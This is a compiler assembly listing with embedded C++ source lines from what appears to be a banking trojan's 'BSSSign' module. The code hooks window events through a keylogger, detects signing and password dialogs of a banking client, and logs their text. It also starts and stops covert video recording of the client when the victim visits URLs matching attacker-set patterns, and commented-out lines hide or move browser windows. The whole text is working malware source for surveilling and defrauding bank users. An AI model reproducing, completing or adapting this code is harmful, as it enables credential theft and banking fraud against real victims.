; 773  : 		if (!FActive || !IsDialog(WND))
  00007	33 db		 xor	 ebx, ebx
  00009	56		 push	 esi
  0000a	57		 push	 edi
  0000b	89 4d f8	 mov	 DWORD PTR _this$[ebp], ecx
  0000e	38 59 20	 cmp	 BYTE PTR [ecx+32], bl
  00011	0f 84 43 01 00
	00		 je	 $LN10@AddFormA
  00017	ff 75 08	 push	 DWORD PTR _WND$[ebp]
  0001a	e8 00 00 00 00	 call	 ?IsDialog@TBSSClicker@@QAE_NPAUHWND__@@@Z ; TBSSClicker::IsDialog
  0001f	84 c0		 test	 al, al
  00021	0f 84 33 01 00
	00		 je	 $LN10@AddFormA
; 775  : 
; 776  : 		string Text      = GetWndText2(WND);
  00027	ff 75 08	 push	 DWORD PTR _WND$[ebp]
  0002a	8d 45 ec	 lea	 eax, DWORD PTR _Text$[ebp]
  0002d	50		 push	 eax
  0002e	e8 00 00 00 00	 call	 ?GetWndText2@@YA?AV?$TString@D@@PAUHWND__@@@Z ; GetWndText2
; 777  : 		string Class     = GetWndClassName2(WND);
  00033	ff 75 08	 push	 DWORD PTR _WND$[ebp]
  00036	8d 45 e4	 lea	 eax, DWORD PTR _Class$[ebp]
  00039	50		 push	 eax
  0003a	e8 00 00 00 00	 call	 ?GetWndClassName2@@YA?AV?$TString@D@@PAUHWND__@@@Z ; GetWndClassName2
; 778  : 		DWORD  TextHash  = Text.Hash();
  0003f	53		 push	 ebx
  00040	53		 push	 ebx
  00041	ff 75 f0	 push	 DWORD PTR _Text$[ebp+4]
  00044	e8 00 00 00 00	 call	 ?Hash@?$STRUTILS@D@@SAKPBDK_N@Z ; STRUTILS<char>::Hash
; 779  : 		DWORD  ClassHash = Class.Hash();
  00049	53		 push	 ebx
  0004a	53		 push	 ebx
  0004b	ff 75 e8	 push	 DWORD PTR _Class$[ebp+4]
  0004e	8b f0		 mov	 esi, eax
  00050	e8 00 00 00 00	 call	 ?Hash@?$STRUTILS@D@@SAKPBDK_N@Z ; STRUTILS<char>::Hash
  00055	8b f8		 mov	 edi, eax
; 780  : 
; 781  : 		TBSSForm* Form = NULL;
; 782  : 
; 783  : 		BDBG("bsssign","
: \r\n  Class: %s \r\n  Text: %s", Class.t_str(), Text.t_str());
; 784  : 
; 785  :         // 
; 786  : 		if (TBSSSignForm::IsSignForm(ClassHash, TextHash))
  00057	56		 push	 esi
  00058	57		 push	 edi
  00059	89 5d fc	 mov	 DWORD PTR _Form$[ebp], ebx
  0005c	e8 00 00 00 00	 call	 ?IsSignForm@TBSSSignForm@@SA_NKK@Z ; TBSSSignForm::IsSignForm
  00061	83 c4 30	 add	 esp, 48			; 00000030H
  00064	84 c0		 test	 al, al
  00066	74 1b		 je	 SHORT $LN9@AddFormA
; 787  : 			Form = new TBSSSignForm(this, WND);
  00068	6a 44		 push	 68			; 00000044H
  0006a	e8 00 00 00 00	 call	 ??2TBotObject@@SAPAXI@Z	; TBotObject::operator new
  0006f	59		 pop	 ecx
  00070	3b c3		 cmp	 eax, ebx
  00072	74 6f		 je	 SHORT $LN18@AddFormA
  00074	ff 75 08	 push	 DWORD PTR _WND$[ebp]
  00077	8b c8		 mov	 ecx, eax
  00079	ff 75 f8	 push	 DWORD PTR _this$[ebp]
  0007c	e8 00 00 00 00	 call	 ??0TBSSSignForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ; TBSSSignForm::TBSSSignForm
; 788  : 		else
  00081	eb 5b		 jmp	 SHORT $LN51@AddFormA
$LN9@AddFormA:
; 789  : 		// 
; 790  : 		if (TBSSPasswordForm::IsPasswordForm(this, WND, Text))
  00083	8d 45 ec	 lea	 eax, DWORD PTR _Text$[ebp]
  00086	50		 push	 eax
  00087	ff 75 08	 push	 DWORD PTR _WND$[ebp]
  0008a	ff 75 f8	 push	 DWORD PTR _this$[ebp]
  0008d	e8 00 00 00 00	 call	 ?IsPasswordForm@TBSSPasswordForm@@SA_NPAVTBSSClicker@@PAUHWND__@@ABV?$TString@D@@@Z ; TBSSPasswordForm::IsPasswordForm
  00092	83 c4 0c	 add	 esp, 12			; 0000000cH
  00095	84 c0		 test	 al, al
  00097	74 1b		 je	 SHORT $LN7@AddFormA
; 791  : 			Form = new TBSSPasswordForm(this, WND);
  00099	6a 18		 push	 24			; 00000018H
  0009b	e8 00 00 00 00	 call	 ??2TBotObject@@SAPAXI@Z	; TBotObject::operator new
  000a0	59		 pop	 ecx
  000a1	3b c3		 cmp	 eax, ebx
  000a3	74 3e		 je	 SHORT $LN18@AddFormA
  000a5	ff 75 08	 push	 DWORD PTR _WND$[ebp]
  000a8	8b c8		 mov	 ecx, eax
  000aa	ff 75 f8	 push	 DWORD PTR _this$[ebp]
  000ad	e8 00 00 00 00	 call	 ??0TBSSPasswordForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ; TBSSPasswordForm::TBSSPasswordForm
; 792  : 		else
  000b2	eb 2a		 jmp	 SHORT $LN51@AddFormA
$LN7@AddFormA:
; 793  : 		// 
; 794  : 		if (TBSSErrorForm::IsErrorForm(this, ClassHash, TextHash))
  000b4	56		 push	 esi
  000b5	57		 push	 edi
  000b6	ff 75 f8	 push	 DWORD PTR _this$[ebp]
  000b9	e8 00 00 00 00	 call	 ?IsErrorForm@TBSSErrorForm@@SA_NPAVTBSSClicker@@KK@Z ; TBSSErrorForm::IsErrorForm
  000be	83 c4 0c	 add	 esp, 12			; 0000000cH
  000c1	84 c0		 test	 al, al
  000c3	74 21		 je	 SHORT $LN49@AddFormA
; 795  : 			Form = new TBSSErrorForm(this, WND);
  000c5	6a 20		 push	 32			; 00000020H
  000c7	e8 00 00 00 00	 call	 ??2TBotObject@@SAPAXI@Z	; TBotObject::operator new
  000cc	59		 pop	 ecx
  000cd	3b c3		 cmp	 eax, ebx
  000cf	74 12		 je	 SHORT $LN18@AddFormA
  000d1	ff 75 08	 push	 DWORD PTR _WND$[ebp]
  000d4	8b c8		 mov	 ecx, eax
  000d6	ff 75 f8	 push	 DWORD PTR _this$[ebp]
  000d9	e8 00 00 00 00	 call	 ??0TBSSErrorForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ; TBSSErrorForm::TBSSErrorForm
$LN51@AddFormA:
  000de	89 45 fc	 mov	 DWORD PTR _Form$[ebp], eax
  000e1	eb 03		 jmp	 SHORT $LN49@AddFormA
$LN18@AddFormA:
  000e3	89 5d fc	 mov	 DWORD PTR _Form$[ebp], ebx
$LN49@AddFormA:
; 796  : 
; 797  : 		// 
; 798  : 		#ifdef LOG_BSS_SIGN
; 799  : 			if (Logger && !Text.IsEmpty())
  000e6	bf 00 00 00 00	 mov	 edi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
  000eb	39 1d 00 00 00
	00		 cmp	 DWORD PTR ?Logger@@3PAVTBSSSignLog@@A, ebx ; Logger
  000f1	74 52		 je	 SHORT $LN50@AddFormA
  000f3	ff 75 f0	 push	 DWORD PTR _Text$[ebp+4]
  000f6	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  000fb	59		 pop	 ecx
  000fc	84 c0		 test	 al, al
  000fe	75 45		 jne	 SHORT $LN50@AddFormA
; 800  : 			{
; 801  : 				// 
; 802  : 				PCHAR WndText = GetAllWindowsText(WND, true, true);
  00100	6a 01		 push	 1
  00102	6a 01		 push	 1
  00104	ff 75 08	 push	 DWORD PTR _WND$[ebp]
  00107	e8 00 00 00 00	 call	 ?GetAllWindowsText@@YAPADPAUHWND__@@_N1@Z ; GetAllWindowsText
  0010c	8b f0		 mov	 esi, eax
  0010e	83 c4 0c	 add	 esp, 12			; 0000000cH
; 803  : 				if (WndText)
  00111	3b f3		 cmp	 esi, ebx
  00113	74 30		 je	 SHORT $LN50@AddFormA
; 804  : 				{
; 805  : 					Logger->Write(NULL, false, "
  00115	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  0011b	68 00 00 00 00	 push	 OFFSET ??_C@_0BE@BJNHFDAE@?N?r?n?a?p?$OA?f?$OA?e?r?q?$PP?5?n?j?m?n?3?5?$AA@
  00120	53		 push	 ebx
  00121	53		 push	 ebx
  00122	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
; 806  :                     Logger->AddTextFile(Text.t_str(), WndText, 0);
  00127	8b 45 f0	 mov	 eax, DWORD PTR _Text$[ebp+4]
  0012a	3b c3		 cmp	 eax, ebx
  0012c	75 02		 jne	 SHORT $LN43@AddFormA
  0012e	8b c7		 mov	 eax, edi
$LN43@AddFormA:
  00130	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  00136	53		 push	 ebx
  00137	56		 push	 esi
  00138	50		 push	 eax
  00139	e8 00 00 00 00	 call	 ?AddTextFile@TBSSSignLog@@QAEXPBD0K@Z ; TBSSSignLog::AddTextFile
; 807  : 					STR::Free(WndText);
  0013e	56		 push	 esi
  0013f	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  00144	59		 pop	 ecx
$LN50@AddFormA:
; 808  :                 }
; 809  : 			}
; 810  : 		#endif
; 811  : 
; 812  : 
; 813  : 		if (!Form) return false;
  00145	39 5d fc	 cmp	 DWORD PTR _Form$[ebp], ebx
  00148	75 19		 jne	 SHORT $LN2@AddFormA
  0014a	8d 4d e4	 lea	 ecx, DWORD PTR _Class$[ebp]
  0014d	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00152	8d 4d ec	 lea	 ecx, DWORD PTR _Text$[ebp]
  00155	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN10@AddFormA:
; 774  : 			return false;
  0015a	32 c0		 xor	 al, al
$LN12@AddFormA:
  0015c	5f		 pop	 edi
  0015d	5e		 pop	 esi
  0015e	5b		 pop	 ebx
; 827  : 	}
  0015f	c9		 leave
  00160	c2 04 00	 ret	 4
$LN2@AddFormA:
; 814  : 
; 815  :         BSSSIGNLOG(NULL, false, "
 [%s]", Text.t_str());
  00163	8b 45 f0	 mov	 eax, DWORD PTR _Text$[ebp+4]
  00166	3b c3		 cmp	 eax, ebx
  00168	75 02		 jne	 SHORT $LN47@AddFormA
  0016a	8b c7		 mov	 eax, edi
$LN47@AddFormA:
  0016c	50		 push	 eax
  0016d	68 00 00 00 00	 push	 OFFSET ??_C@_0BI@CGCNNPKK@?N?a?p?$OA?a?$OA?r?$PL?b?$OA?e?l?5?t?n?p?l?s?5?$FL?$CFs?$FN?$AA@
  00172	53		 push	 ebx
  00173	53		 push	 ebx
  00174	e8 00 00 00 00	 call	 ??$BSSSignLogTemplate@H_NPBDPAD@@YAXH_NPBDPAD@Z ; BSSSignLogTemplate<int,bool,char const *,char *>
; 816  : 
; 817  : 
; 818  : 		// 
; 819  : 		TLock L = GetLocker();
  00179	8b 75 f8	 mov	 esi, DWORD PTR _this$[ebp]
  0017c	83 c4 10	 add	 esp, 16			; 00000010H
  0017f	8d 45 f4	 lea	 eax, DWORD PTR _L$[ebp]
  00182	50		 push	 eax
  00183	8b ce		 mov	 ecx, esi
  00185	e8 00 00 00 00	 call	 ?GetLocker@TBotCollection@@QAE?AVTLock@@XZ ; TBotCollection::GetLocker
; 820  : 		if (!FRunning)
  0018a	38 5e 21	 cmp	 BYTE PTR [esi+33], bl
  0018d	75 0f		 jne	 SHORT $LN1@AddFormA
; 821  : 		{
; 822  : 			FRunning = true;
; 823  : 			StartThread(BSSClickerThreadMethod, this);
  0018f	56		 push	 esi
  00190	68 00 00 00 00	 push	 OFFSET ?BSSClickerThreadMethod@@YGKPAX@Z ; BSSClickerThreadMethod
  00195	c6 46 21 01	 mov	 BYTE PTR [esi+33], 1
  00199	e8 00 00 00 00	 call	 ?StartThread@@YGPAXPAX0@Z ; StartThread
$LN1@AddFormA:
; 824  : 		}
; 825  : 
; 826  : 		return true;
  0019e	8d 4d f4	 lea	 ecx, DWORD PTR _L$[ebp]
  001a1	e8 00 00 00 00	 call	 ??1TLock@@QAE@XZ	; TLock::~TLock
  001a6	8d 4d e4	 lea	 ecx, DWORD PTR _Class$[ebp]
  001a9	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  001ae	8d 4d ec	 lea	 ecx, DWORD PTR _Text$[ebp]
  001b1	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  001b6	b0 01		 mov	 al, 1
  001b8	eb a2		 jmp	 SHORT $LN12@AddFormA
?AddFormA@TBSSClicker@@QAE_NPAUHWND__@@@Z ENDP		; TBSSClicker::AddFormA
_TEXT	ENDS
PUBLIC	?Event_ShowWindow@BSSSign@@YGXPAUTKeyLoggerRec@@KPAX@Z ; BSSSign::Event_ShowWindow
; Function compile flags: /Ogspy
;	COMDAT ?Event_ShowWindow@BSSSign@@YGXPAUTKeyLoggerRec@@KPAX@Z
_TEXT	SEGMENT
___formal$ = 8						; size = 4
___formal$ = 12						; size = 4
_Data$ = 16						; size = 4
?Event_ShowWindow@BSSSign@@YGXPAUTKeyLoggerRec@@KPAX@Z PROC ; BSSSign::Event_ShowWindow, COMDAT
; 865  :     // 
; 866  : 	PShowWindowData WndData = (PShowWindowData)Data;
; 867  : 	int Cmd = WndData->Command;
  00000	8b 44 24 0c	 mov	 eax, DWORD PTR _Data$[esp-4]
  00004	8b 48 04	 mov	 ecx, DWORD PTR [eax+4]
; 868  : 	HWND Wnd = WndData->Window;
  00007	8b 00		 mov	 eax, DWORD PTR [eax]
; 869  : 
; 870  : 	if (Cmd == SW_SHOW || Cmd == SW_SHOWNORMAL)
  00009	83 f9 05	 cmp	 ecx, 5
  0000c	74 05		 je	 SHORT $LN1@Event_Show
  0000e	83 f9 01	 cmp	 ecx, 1
  00011	75 0c		 jne	 SHORT $LN2@Event_Show
$LN1@Event_Show:
; 871  : 		Clicker->AddForm(Wnd);
  00013	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Clicker@BSSSign@@3PAVTBSSClicker@@A ; BSSSign::Clicker
  00019	50		 push	 eax
  0001a	e8 00 00 00 00	 call	 ?AddFormA@TBSSClicker@@QAE_NPAUHWND__@@@Z ; TBSSClicker::AddFormA
$LN2@Event_Show:
; 872  : }
  0001f	c2 0c 00	 ret	 12			; 0000000cH
?Event_ShowWindow@BSSSign@@YGXPAUTKeyLoggerRec@@KPAX@Z ENDP ; BSSSign::Event_ShowWindow
_TEXT	ENDS
PUBLIC	??_C@_0BG@KFKODCDI@?O?n?k?s?w?e?m?$OA?5?j?n?l?$OA?m?d?$OA?5?Q?R?N?O?$AA@ ; `string'
PUBLIC	??_C@_08JBDDCODB@?$CKaz_stop?$AA@		; `string'
PUBLIC	??_C@_0BH@GMAMCCEP@?O?n?k?s?w?e?m?$OA?5?j?n?l?$OA?m?d?$OA?5?Q?R?$MA?P?R?$AA@ ; `string'
PUBLIC	??_C@_09PJEHCMLL@?$CKaz_start?$AA@		; `string'
PUBLIC	?CheckRequest@BSSSign@@YAXPAD@Z			; BSSSign::CheckRequest
EXTRN	?RecordStop@VideoProcess@@YAXXZ:PROC		; VideoProcess::RecordStop
EXTRN	?CompareUrl@@YA_NPBD0@Z:PROC			; CompareUrl
EXTRN	?IsEmpty@STR@@YA_NQAD@Z:PROC			; STR::IsEmpty
;	COMDAT ??_C@_0BG@KFKODCDI@?O?n?k?s?w?e?m?$OA?5?j?n?l?$OA?m?d?$OA?5?Q?R?N?O?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_0BG@KFKODCDI@?O?n?k?s?w?e?m?$OA?5?j?n?l?$OA?m?d?$OA?5?Q?R?N?O?$AA@ DB 0cfH
	DB	0eeH, 0ebH, 0f3H, 0f7H, 0e5H, 0edH, 0e0H, ' ', 0eaH, 0eeH, 0ecH
	DB	0e0H, 0edH, 0e4H, 0e0H, ' ', 0d1H, 0d2H, 0ceH, 0cfH, 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_08JBDDCODB@?$CKaz_stop?$AA@
CONST	SEGMENT
??_C@_08JBDDCODB@?$CKaz_stop?$AA@ DB '*az_stop', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0BH@GMAMCCEP@?O?n?k?s?w?e?m?$OA?5?j?n?l?$OA?m?d?$OA?5?Q?R?$MA?P?R?$AA@
CONST	SEGMENT
??_C@_0BH@GMAMCCEP@?O?n?k?s?w?e?m?$OA?5?j?n?l?$OA?m?d?$OA?5?Q?R?$MA?P?R?$AA@ DB 0cfH
	DB	0eeH, 0ebH, 0f3H, 0f7H, 0e5H, 0edH, 0e0H, ' ', 0eaH, 0eeH, 0ecH
	DB	0e0H, 0edH, 0e4H, 0e0H, ' ', 0d1H, 0d2H, 0c0H, 0d0H, 0d2H, 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_09PJEHCMLL@?$CKaz_start?$AA@
CONST	SEGMENT
??_C@_09PJEHCMLL@?$CKaz_start?$AA@ DB '*az_start', 00H	; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
CONST	ENDS
;	COMDAT ?CheckRequest@BSSSign@@YAXPAD@Z
_TEXT	SEGMENT
_URL$ = 8						; size = 4
?CheckRequest@BSSSign@@YAXPAD@Z PROC			; BSSSign::CheckRequest, COMDAT
; 876  : {
  00000	56		 push	 esi
; 877  : 	//  
; 878  : 	//  
; 879  : 	//  
; 880  : 
; 881  : 	if (STR::IsEmpty(URL))
  00001	8b 74 24 08	 mov	 esi, DWORD PTR _URL$[esp]
  00005	56		 push	 esi
  00006	e8 00 00 00 00	 call	 ?IsEmpty@STR@@YA_NQAD@Z	; STR::IsEmpty
  0000b	59		 pop	 ecx
  0000c	84 c0		 test	 al, al
  0000e	0f 85 d0 00 00
	00		 jne	 $LN2@CheckReque
  00014	53		 push	 ebx
; 882  : 		return;
; 883  : 
; 884  : 
; 885  : 	if ( CompareUrl( "*az_start", URL ) )
  00015	56		 push	 esi
  00016	68 00 00 00 00	 push	 OFFSET ??_C@_09PJEHCMLL@?$CKaz_start?$AA@
  0001b	e8 00 00 00 00	 call	 ?CompareUrl@@YA_NPBD0@Z	; CompareUrl
  00020	59		 pop	 ecx
  00021	59		 pop	 ecx
  00022	84 c0		 test	 al, al
  00024	74 62		 je	 SHORT $LN5@CheckReque
; 886  : 	{
; 887  : 		#ifdef LOG_BSS_SIGN
; 888  : 			// 
; 889  : 			if (!Logger)
  00026	33 db		 xor	 ebx, ebx
  00028	39 1d 00 00 00
	00		 cmp	 DWORD PTR ?Logger@@3PAVTBSSSignLog@@A, ebx ; Logger
  0002e	75 20		 jne	 SHORT $LN10@CheckReque
; 890  :             	Logger = new TBSSSignLog;
  00030	6a 14		 push	 20			; 00000014H
  00032	e8 00 00 00 00	 call	 ??2TBotObject@@SAPAXI@Z	; TBotObject::operator new
  00037	59		 pop	 ecx
  00038	3b c3		 cmp	 eax, ebx
  0003a	74 0e		 je	 SHORT $LN9@CheckReque
  0003c	8b c8		 mov	 ecx, eax
  0003e	e8 00 00 00 00	 call	 ??0TBSSSignLog@@QAE@XZ	; TBSSSignLog::TBSSSignLog
  00043	a3 00 00 00 00	 mov	 DWORD PTR ?Logger@@3PAVTBSSSignLog@@A, eax ; Logger
  00048	eb 06		 jmp	 SHORT $LN10@CheckReque
$LN9@CheckReque:
  0004a	89 1d 00 00 00
	00		 mov	 DWORD PTR ?Logger@@3PAVTBSSSignLog@@A, ebx ; Logger
$LN10@CheckReque:
; 891  : 		#endif
; 892  : 
; 893  : 
; 894  : 		Clicker->SetActive(true);
  00050	a1 00 00 00 00	 mov	 eax, DWORD PTR ?Clicker@BSSSign@@3PAVTBSSClicker@@A ; BSSSign::Clicker
; 895  : 
; 896  : 		// 
; 897  : 		// 
; 898  : 		//RecordVideo = !VideoRecorderSrv::PingClient(0);
; 899  : 		//if (RecordVideo)
; 900  : 			RecordVideo = VideoProcess::RecordPID( 0, BSSSignName );
  00055	53		 push	 ebx
  00056	53		 push	 ebx
  00057	53		 push	 ebx
  00058	68 00 00 00 00	 push	 OFFSET ?BSSSignName@BSSSign@@3PADA ; BSSSign::BSSSignName
  0005d	53		 push	 ebx
  0005e	c6 40 20 01	 mov	 BYTE PTR [eax+32], 1
  00062	e8 00 00 00 00	 call	 ?RecordPID@VideoProcess@@YA_NHPBDKHH@Z ; VideoProcess::RecordPID
; 901  : 
; 902  :         BSSSIGNLOG(NULL, true, "
  00067	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  0006d	83 c4 14	 add	 esp, 20			; 00000014H
  00070	a2 00 00 00 00	 mov	 BYTE PTR ?RecordVideo@BSSSign@@3_NA, al ; BSSSign::RecordVideo
  00075	3b cb		 cmp	 ecx, ebx
  00077	74 6a		 je	 SHORT $LN28@CheckReque
  00079	68 00 00 00 00	 push	 OFFSET ??_C@_0BH@GMAMCCEP@?O?n?k?s?w?e?m?$OA?5?j?n?l?$OA?m?d?$OA?5?Q?R?$MA?P?R?$AA@
  0007e	6a 01		 push	 1
  00080	53		 push	 ebx
  00081	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
; 903  : 	}
; 904  : 	else
  00086	eb 5b		 jmp	 SHORT $LN28@CheckReque
$LN5@CheckReque:
; 905  : 	if ( CompareUrl( "*az_stop", URL ) )
  00088	56		 push	 esi
  00089	68 00 00 00 00	 push	 OFFSET ??_C@_08JBDDCODB@?$CKaz_stop?$AA@
  0008e	e8 00 00 00 00	 call	 ?CompareUrl@@YA_NPBD0@Z	; CompareUrl
  00093	59		 pop	 ecx
  00094	59		 pop	 ecx
  00095	84 c0		 test	 al, al
  00097	74 4a		 je	 SHORT $LN28@CheckReque
; 906  : 	{
; 907  : 		BSSSIGNLOG(NULL, true, "
  00099	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  0009f	33 db		 xor	 ebx, ebx
  000a1	3b cb		 cmp	 ecx, ebx
  000a3	74 0d		 je	 SHORT $LN27@CheckReque
  000a5	68 00 00 00 00	 push	 OFFSET ??_C@_0BG@KFKODCDI@?O?n?k?s?w?e?m?$OA?5?j?n?l?$OA?m?d?$OA?5?Q?R?N?O?$AA@
  000aa	6a 01		 push	 1
  000ac	53		 push	 ebx
  000ad	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
$LN27@CheckReque:
; 908  : 
; 909  : 		Clicker->SetActive(false);
  000b2	a1 00 00 00 00	 mov	 eax, DWORD PTR ?Clicker@BSSSign@@3PAVTBSSClicker@@A ; BSSSign::Clicker
  000b7	88 58 20	 mov	 BYTE PTR [eax+32], bl
; 910  : 		if (RecordVideo)
  000ba	38 1d 00 00 00
	00		 cmp	 BYTE PTR ?RecordVideo@BSSSign@@3_NA, bl ; BSSSign::RecordVideo
  000c0	74 0b		 je	 SHORT $LN1@CheckReque
; 911  : 		{
; 912  : 			RecordVideo = false;
  000c2	88 1d 00 00 00
	00		 mov	 BYTE PTR ?RecordVideo@BSSSign@@3_NA, bl ; BSSSign::RecordVideo
; 913  : 			VideoProcess::RecordStop();
  000c8	e8 00 00 00 00	 call	 ?RecordStop@VideoProcess@@YAXXZ ; VideoProcess::RecordStop
$LN1@CheckReque:
; 914  : 		}
; 915  : 
; 916  : 		#ifdef LOG_BSS_SIGN
; 917  : 			// 
; 918  : 			delete Logger;
  000cd	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  000d3	3b cb		 cmp	 ecx, ebx
  000d5	74 06		 je	 SHORT $LN11@CheckReque
  000d7	8b 01		 mov	 eax, DWORD PTR [ecx]
  000d9	6a 01		 push	 1
  000db	ff 10		 call	 DWORD PTR [eax]
$LN11@CheckReque:
; 919  : 			Logger = NULL;
  000dd	89 1d 00 00 00
	00		 mov	 DWORD PTR ?Logger@@3PAVTBSSSignLog@@A, ebx ; Logger
$LN28@CheckReque:
  000e3	5b		 pop	 ebx
$LN2@CheckReque:
  000e4	5e		 pop	 esi
; 920  : 		#endif
; 921  : 	}
; 922  : //	else
; 923  : //	if ( CompareUrl( "*blind_up", URL ) )
; 924  : //	{
; 925  : //
; 926  : //		BDBG("bsssign","Blind=true; 
; 927  : //		Blind = true;
; 928  : //	}
; 929  : //	else
; 930  : //	if ( CompareUrl( "*blind_down", URL ) )
; 931  : //	{
; 932  : //		BDBG("bsssign","
; 933  : //		pEnumWindows((WNDENUMPROC)EnumWindowsIE, NULL);
; 934  : //
; 935  : //		Blind = false;
; 936  : //	}
; 937  : //	else
; 938  : //	if ((CompareUrl( "*move_up", URL)) && (!Move))
; 939  : //	{
; 940  : //
; 941  : //		BDBG("bsssign","
; 942  : //		HWND Wind = (HWND)pFindWindowA("IEFrame", NULL);
; 943  : //		pGetWindowRect(Wind,&WindowRect);
; 944  : //		int x =(int)pGetSystemMetrics( SM_CXSCREEN );
; 945  : //		int y =(int)pGetSystemMetrics( SM_CYSCREEN );
; 946  : //
; 947  : //		BDBG("bsssign","
 %d",x);
; 948  : //		BDBG("bsssign","
 %d",y);
; 949  : //		pMoveWindow(Wind,x,0,WindowRect.right-WindowRect.left,WindowRect.bottom-WindowRect.top,FALSE);
; 950  : //
; 951  : //		Move=true;
; 952  : //	}
; 953  : //	else
; 954  : //	if (( CompareUrl( "*move_down", URL ) )&&(Move))
; 955  : //	{
; 956  : //		BDBG("bsssign","
; 957  : //		HWND Wind = (HWND)pFindWindowA("IEFrame",NULL);
; 958  : //		pMoveWindow(Wind,WindowRect.left ,WindowRect.top ,WindowRect.right-WindowRect.left,WindowRect.bottom - WindowRect.top,TRUE);
; 959  : //
; 960  : //		Move = false;
; 961  : //	}
; 962  : }
  000e5	c3		 ret	 0
?CheckRequest@BSSSign@@YAXPAD@Z ENDP			; BSSSign::CheckRequest
_TEXT	ENDS
PUBLIC	?Initialize@BSSSign@@YAXXZ			; BSSSign::Initialize
EXTRN	?ConnectEventHandler@KeyLogger@@YA_NKP6GXPAUTKeyLoggerRec@@KPAX@Z@Z:PROC ; KeyLogger::ConnectEventHandler
; Function compile flags: /Ogspy
;	COMDAT ?Initialize@BSSSign@@YAXXZ
_TEXT	SEGMENT
?Initialize@BSSSign@@YAXXZ PROC				; BSSSign::Initialize, COMDAT
; 968  : 	// 
; 969  : 	BDBG("bsssign","
; 970  : 
; 971  : 	Clicker = new TBSSClicker();
  00000	6a 24		 push	 36			; 00000024H
  00002	e8 00 00 00 00	 call	 ??2TBotObject@@SAPAXI@Z	; TBotObject::operator new
  00007	59		 pop	 ecx
  00008	85 c0		 test	 eax, eax
  0000a	74 0e		 je	 SHORT $LN4@Initialize
  0000c	8b c8		 mov	 ecx, eax
  0000e	e8 00 00 00 00	 call	 ??0TBSSClicker@@QAE@XZ	; TBSSClicker::TBSSClicker
  00013	a3 00 00 00 00	 mov	 DWORD PTR ?Clicker@BSSSign@@3PAVTBSSClicker@@A, eax ; BSSSign::Clicker
  00018	eb 07		 jmp	 SHORT $LN5@Initialize
$LN4@Initialize:
  0001a	83 25 00 00 00
	00 00		 and	 DWORD PTR ?Clicker@BSSSign@@3PAVTBSSClicker@@A, 0 ; BSSSign::Clicker
$LN5@Initialize:
; 972  : 
; 973  : 	#ifdef LOG_BSS_SIGN
; 974  : 		Logger = NULL;
  00021	83 25 00 00 00
	00 00		 and	 DWORD PTR ?Logger@@3PAVTBSSSignLog@@A, 0 ; Logger
; 975  : 	#endif
; 976  : 
; 977  : 	RecordVideo = false;
; 978  : 
; 979  : 	bool Connected = KeyLogger::ConnectEventHandler(KLE_SHOW_WND, Event_ShowWindow);
  00028	68 00 00 00 00	 push	 OFFSET ?Event_ShowWindow@BSSSign@@YGXPAUTKeyLoggerRec@@KPAX@Z ; BSSSign::Event_ShowWindow
  0002d	6a 06		 push	 6
  0002f	c6 05 00 00 00
	00 00		 mov	 BYTE PTR ?RecordVideo@BSSSign@@3_NA, 0 ; BSSSign::RecordVideo
  00036	e8 00 00 00 00	 call	 ?ConnectEventHandler@KeyLogger@@YA_NKP6GXPAUTKeyLoggerRec@@KPAX@Z@Z ; KeyLogger::ConnectEventHandler
  0003b	59		 pop	 ecx
  0003c	59		 pop	 ecx
; 980  : 	if (Connected)
; 981  :     	BDBG("bsssign","
; 982  : }
  0003d	c3		 ret	 0
?Initialize@BSSSign@@YAXXZ ENDP				; BSSSign::Initialize
_TEXT	ENDS